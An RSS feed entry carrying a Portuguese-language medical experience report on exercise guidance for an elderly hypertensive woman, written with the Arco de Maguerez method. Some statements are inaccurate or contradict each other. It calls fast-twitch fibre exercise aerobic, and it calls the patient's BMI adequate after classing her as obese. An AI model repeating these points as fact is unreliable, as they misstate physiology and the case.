<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Medicina &#8211; ISSN 1678-0817 Qualis/DOI</title>
	<atom:link href="https://revistaft.com.br/category/medicina/feed/" rel="self" type="application/rss+xml" />
	<link>https://revistaft.com.br</link>
	<description>Revista Científica de Alto Impacto.</description>
	<lastBuildDate>Thu, 12 Mar 2026 10:38:42 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://revistaft.com.br/wp-content/uploads/2022/05/favicon-ft-150x150.png</url>
	<title>Medicina &#8211; ISSN 1678-0817 Qualis/DOI</title>
	<link>https://revistaft.com.br</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>O EXERCÍCIO FÍSICO COMO TRATAMENTO NÃO MEDICAMENTOSO DE PACIENTE COM HIPERTENSÃO: UM RELATO DE EXPERIÊNCIA</title>
		<link>https://revistaft.com.br/o-exercicio-fisico-como-tratamento-nao-medicamentoso-de-paciente-com-hipertensao-um-relato-de-experiencia/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 18:31:52 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=266233</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202602261531 Paula Nayara Jesus Freitas1Ângela Aparecida Silveira2Kamila Noleto Bastos3Caio Castanheira Melo Ribeiro4Talysson Almeida Rodrigues5Isabela Felipe Ribeiro6Vitor De Franco Gomes Filgueira7Aline Almeida da Silva8Samanta Garcia de Souza9Lídia Acyole de Souza10 RESUMO&#160; O envelhecimento é um processo biológico natural, acumulativo, universal e não patológico, que está associado a perda da funcionalidade de todo organismo. Associado [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602261531</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Paula Nayara Jesus Freitas<sup>1</sup><br>Ângela Aparecida Silveira<sup>2</sup><br>Kamila Noleto Bastos<sup>3</sup><br>Caio Castanheira Melo Ribeiro<sup>4</sup><br>Talysson Almeida Rodrigues<sup>5</sup><br>Isabela Felipe Ribeiro<sup>6</sup><br>Vitor De Franco Gomes Filgueira<sup>7</sup><br>Aline Almeida da Silva<sup>8</sup><br>Samanta Garcia de Souza<sup>9</sup><br>Lídia Acyole de Souza<sup>10</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">O envelhecimento é um processo biológico natural, acumulativo, universal e não patológico, que está associado a perda da funcionalidade de todo organismo. Associado ao envelhecimento, tem-se o surgimento de doenças crônicas não degenerativas,&nbsp; dentre estas a Hipertensão Arterial Sistêmica. A Hipertensão é caracterizada pela manutenção da pressão arterial acima de níveis considerados adequados,&nbsp; e é o principal fator de risco para doenças cardiovasculares. Dentre as formas de tratamento, tem-se prescrição de medicações no “tratamento medicamentoso” e orientações sobre mudança de estilo de vida no “tratamento não medicamentoso”. O objetivo deste manuscrito é apresentar a experiência da orientação da prática de exercício físico junto à uma paciente idosa com Hipertensão Arterial, para controle da condição de saúde.&nbsp; Utilizou-se como referência metodológica a problematização e como estratégia o Arco de Maguerez, que conforme descrito por Villardi, Cyrino e Berbel (2015), possui cinco&nbsp; etapas, que se desenvolvem iniciando em um recorte da realidade e que para ela se retorna. São elas: a observação da realidade e a identificação do problema, os pontos-chave, a teorização, as hipóteses de solução e a aplicação à realidade. Com acompanhamento multidisciplinar foi possível disponibilizar uma proposta&nbsp; de exercícios físicos aeróbios e de alongamento e resistência&nbsp; para ser realizado em casa e minimizar as dores osteomusculares. A partir das estratégias propostas, foi possível promover o autocuidado em relação à prática de atividade física, bem como levar o reforço positivo e gestão de rotina, com foco no controle da HAS.</p>



<p class="wp-block-paragraph"><strong>Palavras-chaves: </strong>Envelhecimento; Hipertensão Arterial Sistêmica; Exercício Físico; Tratamento não farmacológico; Arco de Maguerez</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">Aging is a natural, cumulative, universal and non-pathological biological process, which is associated with the loss of functionality of the entire organism. Associated with aging, there is the emergence of non-degenerative chronic diseases, including Systemic Arterial Hypertension. Hypertension is characterized by the maintenance of blood pressure above levels considered adequate, and is the main risk factor for cardiovascular disease. Among the forms of treatment, there are medication prescriptions in the “medical treatment” and guidelines on lifestyle change in the “non-drug treatment”. The objective of this manuscript is to present the experience of the guidance of physical exercise practice with an elderly patient with Arterial Hypertension, to control her health condition. It was used as a methodological reference to the problematization and as a strategy the Arch of Marguerez, which, as described by Villardi, Cyrino and Berbel (2015), has five stages, which are developed starting in a cut of reality and returning to it. They are: observation of reality and identification of the problem, key points, theorization, solution hypotheses and application to reality. With multidisciplinary monitoring, it was possible to provide a proposal for aerobic physical exercises and stretching and resistance exercises to be performed at home and to minimize musculoskeletal pain. From the proposed strategies, it was possible to promote self-care in relation to the practice of physical activity, as well as positive reinforcement and routine management, with a focus on controlling SAH.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Aging; Systemic Arterial Hypertension; Physical exercise; Non-pharmacological treatment; Arch of Maguerez.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O envelhecimento é um processo acumulativo, universal e não patológico caracterizado pela perda funcional gradativa em todo organismo do indivíduo (BRASIL, 2007). Nesta fase é possível identificar redução do metabolismo corporal, diminuição da flexibilidade e do tônus da musculatura e consequentemente o surgimento de condições crônicas (GASPAR et al, 2017; SANTOS et al, 2019).</p>



<p class="wp-block-paragraph">Devido às alterações físicas e fisiológicas, a Hipertensão Arterial Sistêmica (HAS) está associado ao envelhecimento, e apresenta-se como doença crônica não transmissível mais predominante na população, e como principal fator de risco modificável para as doenças cardiovasculares &nbsp;(SBGG, s/d; BARROSO et al, 2021). As Diretrizes Brasileiras de Hipertensão – 2020 (BARROSO et al, 2021), apresentam propostas de tratamentos farmacológicos e não farmacológicos, e reforça, em sua mais recente atualização o Exercício físico como um aliado no combate e tratamento da HAS.</p>



<p class="wp-block-paragraph">Os benefícios relacionados às alterações fisiológicas promovidas pela prática de Exercícios físicos estão associados ao estímulo no qual o organismo é exposto. Isso porque, para cada objetivo tem-se um planejamento (estímulo) e espera-se uma resposta específica. Desta maneira, o Exercício físico é um importante representante do tratamento não medicamentoso e está presente nas principais recomendações clínicas para o tratamento de doenças cardiovasculares (ACSM, 2020; BARROSO et al, 2021; WHO, 2020).&nbsp;</p>



<p class="wp-block-paragraph">Isso porque, se realizado de forma adequada, uma prática moderada e bem orientada pode produzir efeitos fatores de risco (FR) das Doenças Cardiovasculares (DCV), auxiliando no controle da HAS, combate a obesidade, melhoria na resistência à insulina pelo tecido entre outros (BARROSO et al, 2021). Estudos que reforçam a importância do exercício físico na prevenção e tratamento da HAS auxiliam na criação de estratégias de prevenção e promoção da saúde, principalmente em idosos, visto que contribuem para alcançar um processo de envelhecimento mais saudável e ativo.</p>



<p class="wp-block-paragraph">Nesse contexto, este trabalho é um relato de experiência,&nbsp; que teve como objetivo descrever a experiência da orientação da prática de exercício físico junto à uma paciente idosa com Hipertensão Arterial, para controle da condição de saúde.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Este trabalho é um relato de experiência,&nbsp; realizado na disciplina Programa Integrado de Estudos da Saúde da Família II (PINESF II), ministrada no segundo período do curso de Medicina do Centro Universitário Alfredo Nasser (UNIFAN), cuja preceptora foi a Enfermeira Fernanda Rodrigues Soares. De acordo com Severino (2007), esse tipo de pesquisa se concentra na particularidade de um caso, considerando-o como representativo de um conjunto de casos análogos.&nbsp;</p>



<p class="wp-block-paragraph">Os caminhos percorridos para a realização deste estudo tiveram como referência a metodologia da problematização e como estratégia, o Arco de Maguerez, tornado público por Juan Diaz Bordenave e Adair Martins Pereira, no livro “Estratégias de ensino-aprendizagem”, primeira edição em 1977 (VILLARDI; CYRINO; BERBEL, 2015). De acordo com Villardi, Cyrino e Berbel (2015), essa estratégia foi uma das referências teóricas iniciais na fundamentação de Berbel (1995; 1998; 2012a; 2012b) quanto à metodologia da problematização.&nbsp;</p>



<p class="wp-block-paragraph">Conforme reforçado por Villardi, Cyrino e Berbel (2015), são cinco as etapas para a realização do arco, que se desenvolvem iniciando em um recorte da realidade e que para ela se retorna (como apresentado na Figura 1): a observação da realidade e a identificação do problema, os pontos-chave, a teorização, as hipóteses de solução e a aplicação à realidade.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1.</strong> Arco de Maguerez</p>



<figure class="wp-block-image aligncenter size-full"><img fetchpriority="high" decoding="async" width="367" height="265" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-521.png" alt="" class="wp-image-266241" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-521.png 367w, https://revistaft.com.br/wp-content/uploads/2026/02/image-521-300x217.png 300w" sizes="(max-width: 367px) 100vw, 367px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: VILLARDI; CYRINO; BERBEL, 2015.</p>



<p class="wp-block-paragraph">Participou deste estudo a paciente M.A.S.F, de 68 anos, sexo feminino, hipertensa, com controle da PA via utilização de medicação específica.&nbsp; A paciente foi indicada pela Agente Comunitária de Saúde, Abigail, vinculada à Unidade Básica de Saúde, Pedro Gomes, na Cidade de Guapó. Foram realizadas cinco visitas domiciliares de aproximadamente 60 minutos, de setembro a novembro de 2021.&nbsp;</p>



<p class="wp-block-paragraph">Para a confecção do arco, a observação da realidade concreta correspondeu à observação atenta e registro das informações a fim de formularmos um problema, a partir dos fatos observados instigantes. Iniciamos com a anamnese da paciente, levando em consideração aspectos biopsicossociais, bem como aspectos de moradia, alimentação, questões familiares e elementos relacionados às necessidades básicas, somado aos exames físicos realizados.&nbsp;</p>



<p class="wp-block-paragraph">A segunda etapa foi a determinação de pontos-chaves. Este foi o momento de definição do aspecto do problema que se tornou nosso objeto de pesquisa. Ele se iniciou com uma reflexão, um questionamento sobre os possíveis fatores associados ao problema constituído. Dessa maneira, os aspectos chaves foram definidos a partir desse trabalho inicial e da discussão junto à paciente.&nbsp;</p>



<p class="wp-block-paragraph">A teorização, terceira etapa, foi investigativa, na qual se buscam conhecimentos e informações acerca do problema em variadas fontes, usando diferentes estratégias ou formas de coleta de informações. O estudo serviu de base para a transformação da realidade estudada. Para a elaboração da teorização, realizamos um levantamento teórico a respeito do processo de envelhecimento, da hipertensão arterial e do exercício físico como tratamento não medicamentoso nesse contexto.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em seguida, a partir da análise das informações obtidas, definimos as hipóteses de solução. Na etapa seguinte de aplicação à realidade foram analisadas e escolhidas as propostas de soluções mais viáveis, que puderam ser postas em prática e ajudaram a paciente a superar a problemática constituída, contribuindo para a transformação da realidade investigada.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>3.1</strong> <strong>OBSERVAÇÃO DA REALIDADE&nbsp;</strong></p>



<p class="wp-block-paragraph">M.A.F.S, 68 anos, sexo feminino, aposentada, casada, parda, evangélica, brasileira natural de Pedra Branca (CE). Cursou até a segunda série do ensino fundamental. G5P5A0, dois filhos falecidos, possui hipertensão e histórico familiar de problemas cardíacos. Relata ser ex-fumante com carga tabágica de 15 anos/maço, tendo deixado de fumar há quinze anos. Refere não ter antecedentes cirúrgicos e possui vida sexual regular.&nbsp; Reside em uma casa com o marido, uma filha e o neto, em Guapó (GO), zona urbana.&nbsp;</p>



<p class="wp-block-paragraph">Por meio das descrições da paciente, constatou-se que a residência apresenta o conforto básico e necessário: cômodos mobiliados, ventilados e espaçosos; banheiro higienizado; saneamento básico e coleta de lixo frequente. Todos os gastos com despesas provêm da aposentadoria da paciente e do seu marido. A paciente possui significativo amparo familiar, uma vez que a filha, o neto e o marido demonstram-se bastante presentes e preocupados com a saúde da mesma.</p>



<p class="wp-block-paragraph">Relata ter sido diagnosticada com Hipertensão há quarenta e três anos e que, desde então, iniciou o tratamento medicamentoso com Losartana 50mg e Hidroclorotiazida 25mg duas vezes ao dia, medicamentos esses que faz uso até hoje, porém, não faz o uso regular recomendado. Sua rotina resume-se em realizar os afazeres domésticos em casa; eventualmente assiste à televisão e vídeos de seu interesse para distrair e frequentar a igreja semanalmente.</p>



<p class="wp-block-paragraph">Atualmente, afirma estar tentando – com muita dificuldade &#8211; manter uma rotina de atividades físicas em casa, porque segundo a mesma, não se sente bem em fazer caminhadas na rua, porque sente dores na região do quadril e tornozelo. A paciente não soube especificar o horário de dormir, entretanto, afirma que&nbsp; possui relativa qualidade de sono sem fazer o uso de medicação.&nbsp;</p>



<p class="wp-block-paragraph">A alimentação da casa é feita pela paciente, com alimentos variados, havendo ingestão diária de frutas, proteínas, vegetais, carboidratos e hortaliças. Ao narrar sobre a rotina alimentar, informou que não ingere alimentos gordurosos, não utiliza temperos prontos e consome alimentos variados, incluindo frutas e verduras em abundância.&nbsp; O exame físico foi realizado sem nenhuma alteração visível. Pressão Arterial (PA) 120/80 mmHg, Frequência Cardíaca (FC) 80 bpm, Saturação periférica de Oxigênio (SpO2) 99%.&nbsp; A paciente tem 83 kg e uma altura de 1,60 metros, calcula-se um IMC de 32.4 kg/m2, enquadrando-se na categoria “obesidade grau 1”. A pele não apresenta qualquer tipo de lesão ou coloração anormal como cianose e icterícia. Nenhuma estrutura da cabeça/pescoço, tórax ou membros superiores e inferiores apresentam alterações. A paciente possui uma ótima higiene oral e corporal. O último exame completo que fez, revelou hipercolesterolemia (LDL de 400mg/dl) e a mesma fez uso de medicação para controle do colesterol, porém não se recorda do nome da medicação usada.</p>



<p class="wp-block-paragraph"><strong>3.2</strong> <strong>PONTOS CHAVES&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Hipertensão Arterial Sistêmica (HAS)</li>



<li>HAS Gestacional</li>



<li>Envelhecimento</li>



<li>Obesidade&nbsp;&nbsp;</li>



<li>Hipercolesterolemia</li>



<li>Dores articulares</li>



<li>Sedentarismo&nbsp;&nbsp;</li>
</ul>



<p class="wp-block-paragraph"><strong>3.3</strong> <strong>TEORIZAÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O envelhecimento é um processo acumulativo, universal e não patológico caracterizado pela perda funcional gradativa&nbsp; em todo organismo do indivíduo (BRASIL, 2007). Neste processo as características fisiológicas e motoras são afetadas, tornando a pessoa idosa mais suscetível a doenças e a um estilo de vida mais dependente, impactando consequentemente nas características psicossocial deste indivíduo (FARINATTI, 2014).</p>



<p class="wp-block-paragraph">Siqueira e Pereira (2007), colocam que a população idosa vem aumentando, especialmente em virtude dos avanços da ciência e da tecnologia e medidas sanitárias que têm garantido a redução da mortalidade e o aumento da expectativa de vida. No entanto, ainda enfrentamos o desafio de favorecer um envelhecimento com qualidade de vida, compreendendo a saúde como bem-estar biopsicossocial e também espiritual, em uma perspectiva mais abrangente.&nbsp;</p>



<p class="wp-block-paragraph">A Organização Mundial de Saúde (OMS/OPAS,2021), considera o/a idoso/a qualquer pessoa que tenha 60 anos ou mais, entretanto, compreender a velhice é desafiador, uma vez que envolve muitos preconceitos e temores. Para Martins, Abrantes e Facci (2020), mudanças que ocorrem na estrutura da atividade do idoso em razão das alterações do lugar social que passa a ocupar, problematizam até mesmo a sua própria concepção de velhice. Por isso, é necessário superar a visão negativa do envelhecimento, mostrando como alternativa possível a vivência dessa fase da vida de forma ativa, lúcida, saudável, com disposição para a continuação das realizações pessoais.</p>



<p class="wp-block-paragraph">A senilidade envolve dentre outros pontos a redução do metabolismo corporal, diminuição da flexibilidade e do tônus da musculatura, perda de massa muscular e consequente perda de força, agilidade e coordenação motora, e surgimento de condições crônicas (GASPAR et al, 2017; SANTOS et al, 2019). Por isso, a orientação para adoção de um estilo de vida adequado é indispensável para um envelhecimento ativo e saudável, cumprindo assim a Legenda de Boa saúde e Bem-Estar do Idoso da OMS/OPAS (2021) para a próxima década,&nbsp; visto que contribui para a redução de mortalidade por doença cardiovascular e outras doenças crônicas nesta população.&nbsp;</p>



<p class="wp-block-paragraph">A hipertensão arterial sistemática (HAS) é uma condição clínica caracterizada pelo aumento e sustentação dos níveis pressóricos maiores que 140mmHg na Sístole e&nbsp; 90mmHg na diástole. Está associada muitas vezes a distúrbios metabólicos, alterações estruturais ou funcionais de órgãos-alvo e pode ser agravada caso exista outros fatores de risco (BARROSO et al, 2021).&nbsp;</p>



<p class="wp-block-paragraph">A maioria das pessoas normotensas poderão desenvolver HAS após os 55 anos de idade,&nbsp; isso porque, o envelhecimento resulta em um enrijecimento constante e diminuição da complacência arterial. Atualmente, 65% dos indivíduos com mais de 60 anos apresentam&nbsp; diagnósticos de HA, e devido a transição epidemiológica e aumento da população idosa, esse cenário poderá ser agravado nas próximas décadas (BARROSO et al, 2021). Confirmando estas informações, a Sociedade Brasileira de Geriatria e Gerontologia (SBGG, s/d) coloca que &nbsp;HAS é a doença crônica não transmissível mais predominante na população idosa além de ser o principal fator de risco modificável para as doenças cardiovasculares.&nbsp;</p>



<p class="wp-block-paragraph">As Diretrizes de Hipertensão Arterial&nbsp; (BARROSO et al, 2021), trazem recomendações para tratamento farmacológico e não farmacológico na abordagem do paciente com HAS. Dentre as recomendações de tratamento não farmacológico tem-se orientações sobre tabagismo, alimentação, espiritualidade e religiosidade,&nbsp; respiração, controle do estresse entre outros. A Figura 2 apresenta a mensagem principal destas orientações.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2.</strong> Mensagens principais, tratamento.</p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="1024" height="262" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-522-1024x262.png" alt="" class="wp-image-266243" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-522-1024x262.png 1024w, https://revistaft.com.br/wp-content/uploads/2026/02/image-522-300x77.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-522-768x197.png 768w, https://revistaft.com.br/wp-content/uploads/2026/02/image-522.png 1245w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: BARROSO et al, 2021. p.566</p>



<p class="wp-block-paragraph">Para compreensão dos benefícios da prática do Exercício físico no tratamento do paciente com HAS, é indispensável a reflexão sobre os conceitos e características que permeiam esta prática. Por vezes, o senso comum apresenta a atividade física como sinônimo de Exercício físico, entretanto, é necessário ressaltar que a diferença entre os termos não está associada apenas a semântica, mas também, ao seu intento e metodologia.&nbsp;</p>



<p class="wp-block-paragraph">A Atividade física é apresentada por Caspersen (1985), em sua definição mais clássica, como “qualquer movimento corporal produzido pelos músculos esqueléticos, que resulta em um gasto energético maior que os níveis de repouso” (CASPERSEN, 1985 p.126). Esta prática pode ser classificada de acordo com intensidade, frequência e duração, além de apresentar subcategorias, no qual, o exercício físico é o principal representante.&nbsp;</p>



<p class="wp-block-paragraph">Assim, compreendido como uma categoria de Atividade física, o Exercício físico é definido como uma “atividade física planejada, estruturada e repetitiva que tem por objetivo a melhora e a manutenção de um ou mais componentes da aptidão física” (CASPERSEN, 1985 p.126). No geral, os dois termos são comumente diferenciados pela intenção da prática, no qual&nbsp; o &nbsp;Exercício físico&nbsp; deve ser orientado e planejado com o intuito de alcançar um objetivo específico, enquanto na atividade física, a movimento corporal e está associado unicamente a realização de tarefas e/ou deslocamento.</p>



<p class="wp-block-paragraph">Os benefícios associados às alterações fisiológicas promovidas pela prática de Exercícios físicos estão associados ao estímulo no qual o organismo é exposto. Isso porque, para objetivo tem-se um planejamento (estímulo) e espera-se uma resposta específica. Para melhor compreensão destes benefícios, é fundamental compreender que o músculo estriado esquelético é responsável pelo movimento humano, e existem particularidades associadas ao seu funcionamento.&nbsp;</p>



<p class="wp-block-paragraph">O músculo esquelético é composto por dois tipos de fibras, apresentadas como contração rápida (tipo II) e as de contração lenta (tipo I), no qual cada uma está associada por tipo de movimento, com alterações fisiológicas específica (MCARDLE;KATCH; KATCH,2008). As fibras de contração rápida (tipo II) utilizam a via glicolítica como principal sistema energético responsável pela transferência rápida de energia.&nbsp;</p>



<p class="wp-block-paragraph">Segundo Mcardle, Katch e Katch (2008) as fibras tipo I, ou fibras de contração lenta são altamente resistentes à fadiga e aprimoradas para o exercício aeróbico prolongado. Trata-se de fibras lentas-oxidativas (LO), que apresentam velocidade de encurtamento lenta e dependem do metabolismo oxidativo, e são as principais responsáveis por em modalidades que exigem uma duração contínua e superior a 3 minutos, os “Exercícios aeróbios”.</p>



<p class="wp-block-paragraph">As fibras de contração rápida (tipo II) utilizam-se da via glicolítica como sistema energético responsável pela transferência rápida de energia. Segundo Mcardle, Katch e Katch (2008) a utilização destas é predominante em exercícios de contração rápida, os chamados “Exercícios aeróbios”, caracterizados pela alta velocidade e curta duração. Exemplos de modalidades que utilizam desses exercícios são corrida de 100 metros, exercícios de explosão, paradas, arranques, mudança rápida de direção, contração muscular vigorosa, entre outros.&nbsp;</p>



<p class="wp-block-paragraph">O Exercício físico é um importante representante do tratamento não medicamentoso e está presente nas principais recomendações clínicas para o tratamento de doenças cardiovasculares (ACSM, 2020; BARROSO et al, 2021; WHO, 2020). Se implementado de forma adequada, uma prática moderada e bem orientada pode produzir efeitos fatores de risco (FR) das DCVs, auxiliando no controle da HAS, combatendo a obesidade, melhoria na resistência à insulina pelo tecido entre outros (BARROSO et al, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Na HAS, em particular, a contribuição desta ferramenta não farmacológica auxilia na redução do risco de morbi-mortalidade, uma vez que promove aumento na débito cardíaco (DC), visto a necessidade de aumento de perfusão dos músculos ativos, seguido da diminuição da resistência vascular periférica, caracterizando-se como agente hipotensivo (RUIVO;ALCANTARA, 2019; CORDEIRO et al, 2019).&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.4</strong> <strong>HIPÓTESES DE SOLUÇÃO&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Encaminhar a paciente para a realização da aferição da pressão arterial na UBS Pedro Gomes localizada no município de Guapó, Goiás, a fim de monitorar a pressão arterial da paciente por cinco dias seguidos no mesmo horário.</li>
</ul>



<ul class="wp-block-list">
<li>Reforçar à paciente sobre a importância da manutenção de comportamentos alimentares e prática de atividade física com acompanhamento multidisciplinar regular (envolvendo médico, nutricionista e educador físico);&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Propor exercícios físicos aeróbios e de alongamento e resistência&nbsp; para ser realizado em casa e minimizar as dores osteomusculares;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Incentivar estratégias de autocuidado, reforço positivo e gestão de rotina, com foco no controle da ansiedade e no incentivo à autodisciplina da paciente.</li>
</ul>



<p class="wp-block-paragraph"><strong>3.5</strong> <strong>APLICAÇÃO À REALIDADE&nbsp;</strong></p>



<p class="wp-block-paragraph">Inicialmente a paciente estava um pouco relutante quanto às nossas visitas e sugestões sobre a mudança de hábitos. Parecia tímida e falava pouco, respondendo objetivamente às nossas indagações.&nbsp;</p>



<p class="wp-block-paragraph">Devido ao não monitoramento da pressão arterial e o não compromisso com o tratamento medicamentoso, anteriormente empregado, a paciente foi submetida à realização de monitoramento da pressão arterial na UBS, por cinco dias consecutivos, nos mesmos horários (com diferença máxima de 40 minutos).</p>



<p class="wp-block-paragraph">Assim, foi identificado o seguinte resultado: Primeiro dia 140 x 90 mmHg, Segundo dia 120 x 80 mmHg, Terceiro dia 120 x 80 mmHg, Quarto dia 140 x 70 mmHg e no Quinto dia 130&#215;80 mmHg. Tais informações foram encaminhadas à médica da unidade, que manteve o tratamento medicamentoso atual da paciente, conforme imagem 1.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Imagem 1</strong>. Resultados do monitoramento de PA da paciente M.A.S.F</p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="240" height="299" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-523.png" alt="" class="wp-image-266248"/></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo pessoal</p>



<p class="wp-block-paragraph">Nos encontros seguintes, conversamos sobre o estado de saúde da mesma, e buscamos outras queixas que pudessem nortear uma melhor intervenção. Foi possível identificar que, apesar de adotar um estilo de vida adequado para um paciente hipertenso (ausência de tabagismo, de etilismo, IMC e CC adequados, bom controle de sal referido), a paciente reportou algumas vezes a tentativa frustrada de realizar atividade física.&nbsp;</p>



<p class="wp-block-paragraph">Isso porque, a paciente sentia dores articulares ao realizar uma simples caminhada, e demonstrou interesse em receber orientação para alívio destas e mudança de hábito. Assim, após a identificação do controle e do cuidado com a&nbsp; pressão, propomos intervenções para melhoria da condição física bem como um protocolo de atividade física específico.&nbsp;</p>



<p class="wp-block-paragraph">Um dos componentes do grupo é Professor de Educação Física, e junto com os outros, foi possível elaborar um programa de atividade física e alongamento para melhoria de flexibilidade e condicionamento cardiorrespiratório. Para isso, entregamos um material ilustrativo ao paciente sobre como fazer os alongamentos de forma correta, e ensinamos cada um deles com demonstração.&nbsp;</p>



<p class="wp-block-paragraph">Para complementação, entregamos uma pirâmide alimentar para estimular uma alimentação saudável, e auxiliar no preparo do alimento em relação a quantidade, porções e escolha dos alimentos (Imagem 2).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Imagem 2</strong>. Registro da entrega de material ilustrativo para prática de atividade física e alimentação a paciente M.A.S.F</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="305" height="400" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-524.png" alt="" class="wp-image-266249" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-524.png 305w, https://revistaft.com.br/wp-content/uploads/2026/02/image-524-229x300.png 229w" sizes="(max-width: 305px) 100vw, 305px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo pessoal</p>



<p class="wp-block-paragraph">Explicamos sobre a importância de manter uma atividade física e alimentação regular, ressaltando os benefícios que estas práticas trariam para o seu dia a dia. Nas visitas seguintes, a paciente relatou uma tímida melhora, mas informou que ainda não conseguiu constância em relação à prática de atividade física.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">A hipertensão arterial é uma doença crônica e que demanda intervenções medicamentosas e não medicamentosas. No contexto da velhice, essa problemática requer um cuidado e uma atenção redobrada no sentido de incluir estratégias e lidar com as resistências do contexto físico e relacionados aos aspectos psicológicos e emocionais do paciente.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Durante as visitas iniciamos com a observação da realidade da nossa paciente e identificação da problemática que demandava e era passível da nossa intervenção, em seguida elaboramos os pontos-chaves para o planejamento da nossa ação, a partir também dos referenciais sobre velhice, hipertensão arterial e exercício físico como parte do tratamento não medicamentoso. Especificamente as estratégias envolveram o monitoramento da pressão arterial na UBS mais próxima, a orientação quanto ao estabelecimento e manutenção de comportamentos alimentares adequados e prática de atividade física.</p>



<p class="wp-block-paragraph">Com acompanhamento multidisciplinar foi possível disponibilizar uma proposta&nbsp; de exercícios físicos aeróbios e de alongamento e resistência&nbsp; para ser realizado em casa e minimizar as dores osteomusculares. A partir das estratégias propostas, foi possível promover o autocuidado em relação à prática de atividade física, bem como levar o reforço positivo e gestão de rotina, com foco no controle da HAS.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS BIBLIOGRÁFICAS&nbsp;</strong></p>



<p class="wp-block-paragraph">AMERICAN COLLEGE OF SPORTS MEDICINE et al.&nbsp;<strong>Diretrizes de ACSM para os testes de esforço e sua prescrição</strong>. Guanabara Koogan, 2020.</p>



<p class="wp-block-paragraph">BARROSO, W.K.S. et al. Diretrizes Brasileiras de Hipertensão Arterial–2020.&nbsp;<strong>Arquivos Brasileiros de Cardiologia</strong>, v. 116, p. 516-658, 2021.</p>



<p class="wp-block-paragraph">BRASIL<strong>. Envelhecimento e saúde da pessoa idosa</strong>. Ministério da Saúde, Secretaria de Atenção à Saúde, Departamento de Atenção Básica. 2007.</p>



<p class="wp-block-paragraph">CASPERSEN, C.J POWELL, K.E; CHRISTENSON, G.M. Physical activity, exercise, and physical fitness: definitions and distinctions for health-related research.&nbsp;<strong>Public health reports</strong>, v. 100, n. 2, p. 126, 1985.</p>



<p class="wp-block-paragraph">CORDEIRO, L.B. et al. Efeito crônico do exercício aeróbico em idosos hipertensos: revisão sistemática .<strong>Revista Educação em Saúde, </strong>v.7, p.2, 2019.&nbsp;</p>



<p class="wp-block-paragraph">FARINATTI, P.T.V. <strong>Envelhecimento</strong>: promoção da saúde e exercício. São Paulo: Manole, 2014.</p>



